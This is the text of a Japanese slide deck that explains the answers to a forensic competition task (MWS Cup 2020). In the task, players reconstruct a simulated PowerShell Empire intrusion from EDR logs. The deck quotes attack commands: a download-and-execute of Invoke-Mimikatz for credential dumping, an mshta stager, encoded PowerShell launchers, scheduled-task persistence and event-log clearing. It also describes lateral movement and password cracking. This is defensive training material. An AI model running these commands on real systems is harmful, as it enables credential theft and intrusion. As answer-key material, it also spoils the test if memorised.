MWS Cup 2020 課題4 解説

担当● 課題4 取りまとめ○荒木 粧子（株式会社ソリトンシステムズ）● 問題作成委員○○○○○

保要 隆明（株式会社エヌ・エフ・ラボラトリーズ）
白鳥 隆史（株式会社ソリトンシステムズ）
後藤 公太（株式会社ソリトンシステムズ）
尾曲 晃忠（株式会社ソリトンシステムズ）
竹澤 一輝（株式会社ソリトンシステムズ）2今年の方針PowerShell Empire● 昨年までhttps://www.powershellempire.com/○ 実マルウェア
○ １端末

● 今年
○ 人の手による攻撃○ 複数端末● PC上のプロセス挙動を明らかにする

EDRログ（InfoTrace Mark II）から侵害状況を明らかにする点は同じ
3

PowerShell Empireを利用した攻撃グループ例● FIN10○

https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf○

https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/○

https://cyber.gc.ca/en/guidance/lateral-movement-frameworks-powershell-empire○

https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html● Wizard Spider● APT19● APT33

参考：https://attack.mitre.org/software/S0363/

Icons made by Freepik from www.flaticon.com

4あなたは研究所のメンバー（ラボメン）です
外部のセキュリティ機関から研究機関を狙う攻撃者グループのIoC情報（IPアドレス「3.112.252[.]27」）を受信した。
侵害が発生した時刻のEDR（InfoTrace Mark II）ログに基づき、研究所内の侵害状況を確認し、全容を明らかにせよ！

5

課題概要
#1 Initial Access#2 Pre-LateralMovement#3 Lateral
Movement#4 Exfiltration

Others1.1 Initial Access
12 Pre-Lateral Movement2

3.1 Lateral Movement
14 Exfilteration
15 Attack Sequence
4

1.2 Initial Access1

3.2 Lateral Movement
16 Possible Controls
4

1.3 Initial Access2

3.3 Lateral Movement
17 Bonus
1

3.4 Lateral Movement16

#1 Initial Access
外部のセキュリティ機関から研究機関を狙う攻撃者グループのIoC情報（IPアドレス「3.112.252[.]27」）を受信した。この情報をもとに以下の問に答えよ。

#1.1 ブラウザ以外のプロセスが、このIPアドレスにアクセスしたときのURLを答えよ（1点）#1.2 攻撃起点となったファイルのハッシュ値（sha256）は？ （1点）
#1.3 攻撃対象の端末を制御するコードを送り込まれる時のURLを答えよ（2点）
7

#1 Initial Access - Answer(1)#1.1 http[:]//3.112.252[.]27/upa
端末：ws03
ログ：sn=31078
10/15/10/15/2020 16:40:26.841 +0900 sn=31078 evt=ps subEvt=start com="ws03" usr="shiina"
usrDomain="AD" psPath="C:¥Windows¥System32¥mshta.exe" cmd="http[:]//3.112.252[.]27/upa"
psID=3964 parentPath="C:¥Windows¥explorer.exe"#1.2 f12810e0033a3286490eaeff75a7bb40d1eb03934d01224c4a3c457561591c04
ファイル名：ジューシーからあげ_新商品.lnk
10/15/2020 16:39:55.818 +0900 sn=31061 evt=file subEvt=close com="ws03" usr="shiina"
usrDomain="AD" psPath="C:¥Windows¥explorer.exe" path="C:¥Users¥shiina¥Downloads¥ジューシーからあげ_新商品¥ジューシーからあげ_新商品.lnk" read=2224 write=0 zoneID=3
sha256=f12810e0033a3286490eaeff75a7bb40d1eb03934d01224c4a3c457561591c04 size=2224
new=0 （手動クリックしたときのログ（Explorerにてfile.close、write=0））8

#1 Initial Access - Answer(2)#1.3 http[:]//54.199.38[.]178:443/login/process.php
PowerShellでbase64のコードを読み込んで実行している：
10/15/2020 16:40:27.059 +0900 sn=31085 evt=ps subEvt=start com="ws03" usr="shiina"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" cmd="-noP -sta -w 1 enc SQBmACgA…

base64をデコードすると以下：
http[:]//54.199.38[.]178:443$ser =$([TExT.EnCODinG]::UNicODe.GetSTriNG([COnVerT]::FromBaSE64StrING('aAB0AHQAcAA6AC8
ALwA1ADQALgAxADkAOQAuADMAOAAuADEANwA4ADoANAA0ADMA')));$t = '/login/process.php';9

#2 Pre-Lateral Movement#2 攻撃者は端末制御後に以下のいずれかを行っている。ログから確認できるのはどれか？ （選択問題・最大試行回数は1回、2点）
1 ドメインコントローラーのイベントログの削除
2 永続化と認証情報のダンプ
3 パスワードリスト攻撃

10

#2 Pre-Lateral Movement - Answer (1)#2 2 永続化と認証情報のダンプ

11#2 Pre-Lateral Movement - Answer (2)● 永続化
スケジュールタスクでPowerShellが毎日9:00に起動するよう設定
10/15/2020 16:47:22.655 +0900 sn=31511 evt=ps subEvt=start os=Win com="ws03" usr="shiina"
psPath="C:¥Windows¥System32¥schtasks.exe" cmd="/Create /F /SC DAILY /ST 09:00 /TN Updater/TR ""C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -NonI -W hidden -c ¥""IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gpHKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug)))¥""""" psID=7372parentPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" psUser="shiina"

12

#2 Pre-Lateral Movement - Answer (3)● 認証情報の窃取
base64をデコードするとInvoke-Mimikatz.ps1をダウンロードして実行し、認証情報を窃取していることが伺える
10/15/2020 17:03:11.010 +0900 sn=31967 evt=ps subEvt=start com="ws03" usr="shiina"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" cmd="-noP -exec
Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjA…

base64をデコードすると以下：
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BCSECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz-Command privilege::debug; Invoke-Mimikatz -DumpCreds;13

#2 Pre-Lateral Movement - Answer (4)● 不正解の選択肢 1 ドメインコントローラーのイベントログの削除● イベントログの削除が記録されていない○ マニュアルに evtID=1102 （イベントログの削除）も記録していることが記載● 以下のようなコマンドが実行された形跡がない（以下はPetyaの例）○ cmd.exe /c "wevtutil cl Setup & wevtutil cl System & wevtutil cl Security &wevtutil cl Application"● 不正解の選択肢 3 パスワードリスト攻撃● ログオン失敗が記録されていない○

マニュアルに evtID=4625（ログオン失敗）も記録していることが記載■ リストを用いたパスワードアタックなら失敗も記録されるはず14

#3 Lateral Movement#3.1 ws01への侵害につながることとなったログインが行われた時刻を答えよ。
単位は秒までで良い（24時間表記、コロン区切り）。（1点）#3.2 ws01で不正プロセスを起動する際に利用されたサービス表示名は？（1点）#3.3 file01への横展開に利用されたWindows標準搭載の機能は？ 正式名称ではなく、略称であるアルファベット大文字（半角）3字で回答せよ。（1点）#3.4 file01に横展開する際に利用されたアカウント名は？ （1点）
※ドメイン名やNetBIOS名は省略して記載する

15

#3 Lateral Movement - Answer#3.1 17:13:41(ws01; sn=24600)#3.2 Pretender(ws01; sn=24598)#3.3 WMI(file01; sn=20043)#3.4 okabe(file01; sn=20031等)

10/15/2020 17:13:41.113 +0900 sn=24600 evt=session subEvt=loginR
com="ws01" domain="AD" usr="shiina"（ws03のアカウントshiinaがws01にログインしている）
10/15/2020 17:13:41.110 +0900 sn=24598 evt=reg subEvt=setVal os=Wincom="ws01" psPath="C:¥Windows¥System32¥services.exe"
path="HKLM¥SYSTEM¥ControlSet001¥Services¥Pretender" entry="DisplayName"
valType=REG_SZ valStr="Pretender"
10/15/2020 17:35:03.507 +0900 sn=20043 evt=ps subEvt=start com="file01"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"
cmd="-noP -sta -w 1 -enc SQBGACgAJABQAFMAV…
parentPath="C:¥Windows¥System32¥wbem¥WmiPrvSE.exe" psUser="okabe"（WmiPrvSE.exe（WMI Provider Host）がPowerShellを呼び出している）
10/15/2020 17:35:03.437 +0900 sn=20031 evt=os subEvt=evtLog com="file01"
channel="Security" evtRecID=5719 evtID=4624 evtMsg="An account wassuccessfully logged on." evtUsr="okabe" evtDomain="AD.FUTURE-GADGET.LAB"
logonType="Network(3)" wsName="-" wsIp="192.168.101.101" wsPort=49838
16

#4 Exfiltration#4 攻撃者が窃取したファイルの名前は？（拡張子も記載） （1点）

17#4 Exfiltration - Answer#4 8号_電話レンジ（仮）.odt
悪性プロセスによるファイルコピー
10/15/2020 17:41:37.291 +0900 sn=20122 evt=ps subEvt=start os=Win com="file01"
psPath="C:¥Windows¥System32¥cmd.exe" cmd="/c copy C:¥Share¥Develop¥未来ガジェット¥8号_電話レンジ（仮）.odt C:¥Windows¥Temp"
parentPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" psUser="okabe"

ファイル窃取（PowerShellがファイル読込んだ後に、C2へデータ送信）
10/15/2020 17:42:29.502 +0900 sn=20134 evt=file subEvt=close com="file01"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" path="C:¥Windows¥Temp¥8号_電話レンジ（仮）.odt" drvType=HDD read=142681 write=0 zoneID=3 size=142681 new=0
10/15/2020 17:48:40.389 +0900 sn=20169 evt=net subEvt=dcon com="file01"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" srcIP=192.168.101.12
srcPort=49748 dstIP=54.199.38.178 dstPort=443 recv=323818 send=330282
18

#5 Attack Sequence#5 今回の被害状況が分かるよう、発生したイベントを時系列で記述せよ（4点）
ログの貼り付けではなく、いつ、どこで、誰が、何をしたのかわかるように書く
こと例）- 12:00 端末X ユーザアカウントAがNを開いて、マルウェアに感染- 12:05 端末Y ユーザアカウントBがMを実行して、端末ZにLateral Movement

19#5 Attack Sequence - Answer
●
●
●
●
●
●
●
●
●
●

16:39 WS03 shiinaがジューシーからあげ_新商品.zipを 3[.]112.252.27 からダウンロード
16:40 WS03 shiinaがジューシーからあげ_新商品.lnk を実行、54[.]199.38.178 と通信を開始し、マルウェアに感染
16:47 WS03 shiinaがスケジュールタスクを作成し永続化
17:03 WS03 shiinaがInvoke-Mimikatz.ps1を用いてCredential Dumpを実行
17:13 WS03
shiinaがWS01にshiinaでログオンし、遠隔からサービス実行しLateralMovement
17:17 WS01 SYSTEMがスケジュールタスクを作成し永続化
17:18 WS01 SYSTEMがInvoke-Mimikatz.ps1 を用いて Credential Dump を実行
17:35 WS01 SYSTEMがWMIを用いてFILE01にokabeでログインしLateral Movement
17:41 FILE01 okabeがFILE01でC:¥Share¥Develop¥未来ガジェット¥8号_電話レンジ（仮）.odt
を C:¥Windows¥Temp にコピー
17:42 FILE01 okabeが C:¥Windows¥Temp¥電話レンジ（仮）の設計図を外部に持ち出し
20

#6 Possible Controls#6 本シナリオで行われた攻撃への対策として考えられるものを2つ述べよ（2点 x 2、計4点）

21

#6 Possible Controls - Answer（回答例）● PowerShellからの通信を禁止する○

案外、GitHubへの通信ブロックは有効かも…

● キッティングアカウントのパスワードをランダムにする○参考）LAPS(Local Administrator Password Solution)■ https://msrc-blog.microsoft.com/2020/08/26/20200827_laps/● 管理共有を無効にする● ハニーアカウントを用意し悪用されたら検知する：：
22

#7 Bonus#7 攻撃者からのメッセージが文章形式で残されている。内容を答えよ。（1点）

23

#7 Bonus - Answer#7 Thank you for playing. Hacking to the Gate

10/15/2020 17:47:41.593 +0900 sn=32693 evt=ps subEvt=start com="ws03" usr="shiina" usrDomain="AD"psPath="C:¥Windows¥System32¥cmd.exe" cmd="/c echo ""Thank you for playing. Hacking to the Gate"""psID=6288 parentPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"
psUser="shiina"

24

全体の流れ#1 Initial Access(ws03)
ジューシーからあげ
新製品.lnk経由で悪性サイトにアクセス、
PowerShellにコードが渡され感染#2 Pre-Lateral
Movement#3 Lateral
Movement(ws03)
永続化/認証情報を窃取(ws03/ws01/file01)
ws03->ws01->file01に
横展開#4 Exfiltration(file01)
8号_電話レンジ（仮）.odt を窃取しC2に送信

25

攻撃担当による解説

26

はじめに
● 今年はMWS Cup 作問のためにNFLabs.で構築した疑似社内NWに攻撃を実施○

擬似攻撃者Webサーバ、疑似C2サーバ、として Amazon EC2 を使用したが、擬似社内NWからのアクセスおよび自環境からのSSHが可能なようにアクセス制御した

27

注意事項
● 疑似社内NWに行った攻撃手法を紹介しますが、悪用しないでください○○

システム管理者の許可なくこれから紹介する行為を行った場合、「不正アクセス行為の禁止等に関する法律」に抵触する可能性があります■ https://elaws.egov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=411AC0000000128
正当な理由なくこれから紹介する行為を行った場合、「不正指令電磁的記録に関する罪」に問われる可能性があります■ https://elaws.egov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=140AC0000000045#740● 正当な理由があり攻撃を試す場合は、自分で作った環境や管理者に許可を貰った環境でやりましょう28

攻撃者の目的● 我々はタイムマシンの研究をしている● とある研究機関（ラボ）がタイムマシンの機能を持つと思われる電子レンジの開発に成功したらしい、との情報を入手した● 武力で強制的に電子レンジを強奪することも可能だが、事を荒げたくない● とあるラボに秘密裏に潜入し、情報を入手してきて欲しい● Operation Empire の実行だ
※ とある世界線の話であり、この話はフィクションであり妄想です29

#0 Recon
ラボに関する情報は以下のことがわかってたとする
●
●
●
●
●

shiina は ジューシーな唐揚げが好き
hashidaはITリテラシーが高い
ラボ内では Windowsが使われ、Libre Officeが使われているokabeとhashidaは毎週木曜の夕方にメイド喫茶に行ってラボに不在
shiina は ジューシーな唐揚げが好き

30

#0 Weaponize
shiinaを狙ったジューシーからあげの新商品紹介のドキュメントファイルに見えるlnkファイルを作成

31

#0 Weaponize● 実際に使われた攻撃手法を元にダウンローダを作成● PowerShell Empireを利用した標的型攻撃 - LAC WATCH○

https://www.lac.co.jp/lacwatch/people/20170807_001352.html

32

#1 Initial Access (WS03)● shiinaでログオン● Webブラウザ（Microsoft Edge）を用いて攻撃者のサーバ（3[.]112.252.27）を用いて「ジューシーからあげ_新商品.zip」をダウンロード● 「ジューシーからあげ_新商品.lnk」をクリック

33

#1 Initial Access● mshta.exe http://3[.]112.252.27/upa が実行されて、stagerをダウンロード

34#1 Initial Access● stagerをダウンロード後、攻撃者C2サーバ(54[.]199.38.178) へアクセスが発生○○

まず、http[:]//54.199.38.178:443/login/process.php へアクセス
その後、5秒おきにC2サーバとの通信が行われる

35

#1 Initial Access● Empire の Listener の設定

36

#1 Initial Access (WS03)● クリックすると、agentがダウンロードされC2サーバに接続● 遠隔からWS03の操作が可能となる

37

#2 Pre-Lateral Movement (WS03: Discovery)● Windows標準コマンドによる環境の調査
○
○
○
○
○
○
○

systeminfo : OSの情報収集
whoami /all : 現在ログオンしているユーザ情報収集
ipconfig: ネットワーク情報収集
tasklist: 実行しているプロセスの確認
net user /domain: ドメインユーザの確認
net group /domain: ドメイングループの確認
net group "Domain Admins" /domain : Domain Admins の確認● 参考: JPCERT/CC 「攻撃者が悪用するWindowsコマンド」○

https://blogs.jpcert.or.jp/ja/2015/12/wincommand.html

38

#2 Pre-Lateral Movement (WS03: Discovery)● プログラム実行者のアカウント (AD¥shiina)の権限確認 (whoami)○

BUILTIN¥Administrators に所属 = ローカル管理者権限あり

39

#2 Pre-Lateral Movement (WS03: Discovery)● ドメイン管理者の確認 (net group “Domain Admin” /domain)○

shiina はドメイン管理者ではない

40

#2 Pre-Lateral Movement (WS03: Discovery)● PowerView: Get-DomainComputer○○

ADで管理されているコンピュータの一覧を取得
DCサーバにLDAP (389/tcp) で問い合わせ41

#2 Pre-Lateral Movement (WS03: Persistence)● 毎日9:00に実行されるスケジュールタスクを作成○○

レジストリ ¥HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥debug に書き込まれたデー
タを読み取り、Base64デコードしたスクリプトを実行（ファイルレス）
Initial Access で実行されるPowerShellのスクリプトとほぼ同じ

42

#2 Pre-Lateral Movement (WS03: Credential Access)● GitHubからInvoke-Mimikatz.ps1 をダウンロードしてファイルレス実行○

shiinaのCredential (NTLMハッシュ)がゲットできた43

#2 Pre-Lateral Movement (WS03: Credential Access)● NTLMハッシュを検索すると…
○

パスワードポリシーを満たしていても、ハッシュ検索して見つかるパスワードは良くないですね44

#2 Pre-Lateral Movement (WS03: Discovery)● PowerView: Find-LocalAdminAccess○

現在のユーザがローカル管理アクセス権を持っているマシンを探索

45

#3 Lateral Movement (WS03 -> WS01)● Invoke-PsExec○

管理共有を用いて、リモートのマシン（WS01）でサービス（Pretender）を実行

46

#2 Pre-Lateral Movement (WS01: Discovery, Persistence)● WS03とほとんど同じ
○
○
○
○
○
○
○
○

systeminfo : OSの情報収集
whoami /all : 現在ログオンしているユーザ情報収集
ipconfig: ネットワーク情報収集
tasklist: 実行しているプロセスの確認
net user /domain: ドメインユーザの確認
net group /domain: ドメイングループの確認
net group "Domain Admins" /domain : Domain Admins の確認
スケジュールタスクを作成

47

#2 Pre-Lateral Movement (WS01: Credential Access)● GitHubからInvoke-Mimikatz.ps1 をダウンロードしてファイルレス実行○okabeのCredential (NTLMハッシュ)がゲットできた48

#2 Pre-Lateral Movement (WS01: Credential Access)● 同じようにNTLMハッシュを検索49

#2 Pre-Lateral Movement (WS01: Credential Access)● パスワードのヒントを探す○○

企業担当者のSNSを見る（SNSで公開しているような情報をパスワードに使うのはよくないですね）

50

#2 Pre-Lateral Movement (WS01: Credential Access)● パスワードのヒントを探す○

PowerView: Get-DomainPolicy

・パスワードは最低7文字・パスワードの複雑さを満たす必要あり

参考) Windowsのパスワードの複雑さのポリシー
https://docs.microsoft.com/ja-jp/windows/security/threat-protection/security-policysettings/password-must-meet-complexity-requirements51

#2 Pre-Lateral Movement (WS01: Credential Access)● NTLMハッシュを計算してみる○

パスワードは、El_Psy_Kongr00

52

#3 Lateral Movement (WS01 -> FILE01)● Invoke-WMI○

パスワードを使ってLateral Movement

53

#4 Exfiltration (FILE01)● ファイルサーバ内のファイルを探索して、C:¥Windows¥Temp にコピー

54

#7. Bonus (WS03)● echoコマンドを実行して、メッセージを表示

55

Ref. MITER ATT&CK と攻撃のmapping
Tactics

Techniques

Tactics

Techniques

Initial Access

T1566.002

Discovery

T1087.001, T1087.002, T1083, T1201,
T1201, T1069.002, T1057,
T1082, T1016, T1033

Execution

T1059.001, T1059.003, T1106,
T1053.005, T1569.002,
T1204,T1204.002, T1047

Lateral MovementT1021.002, T1570

Persistence

T1543.003, T1053.005

Collection

T1005

Privilege Escalation

T1543.003, T1078.002, T1078.003

Command and Control

T1071.001

Defense Evaision-Exfilstaraion

T1041

Credential Access

T1543.003

Impact-https://attack.mitre.org/

56

課題4 まとめ57

課題4 採点結果（速報）

58

まとめ
● 攻撃者も利用するツールによる、複数台端末への攻撃調査○

マルウェア単体の調査とは異なる観点が求められる● マルウェア起点ではない、ファイルレス攻撃○

メジャーツールであるPowerShell Empireを利用● 攻撃ツール独特の動作○

invoke_psexecとpsexecの違い（psexecイメージをディスクに書かない）● 課題4の問題作成にご興味のある意欲ある方、また、ご意見・ご不明点などがありましたら、お気軽にご連絡ください！
○

Slack-MWSの #cup2020 or #mwscup チャネル、DMでもOKです59

Thank you for playing.
Hacking to the Gate!